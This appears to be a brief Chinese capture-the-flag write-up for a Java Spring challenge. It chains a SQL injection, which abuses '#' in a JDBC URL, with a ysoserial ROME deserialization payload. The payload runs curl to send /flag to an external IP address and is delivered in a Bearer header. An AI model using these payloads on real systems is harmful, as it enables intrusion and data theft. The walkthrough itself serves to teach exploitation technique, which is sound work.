下载class。反编译
有个路由。对应的函数接受dbName参数
根据dbName传入值。然后创建数据库连接。并且带入sql执行
这里还导入了springframework包。扫描得到swagger-ui.html
存在三个路由
先去sql注入的/common/test/sqlDict看看
首先要保证。连接数据库的时候不报错
jdbc类似URL解析。所以当我们输入myapp#' union select 1#
时
#
在URL中是锚点。所以
jdbc:mysql://mysqldbserver:3306/myapp#' union select 1#
会被解析成
jdbc:mysql://mysqldbserver:3306/myapp
再带入sql语句
Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '#' union select 1#' and table_name='" + TableName + "'
第一个#被单引号包裹。成了普通的#字符。第二个#注释掉了后面的语句。造成sql注入
注入出密码后。去login登陆
获得data
这个data是java反序列化的东西
可以直接用yso生成payload
去current打
java -jar ysoserial.jar ROME "curl http://174.2.90.186:1234 -d @/flag" |base64
去current打
Bearer rO0ABXNyABFqYXZhL.................................................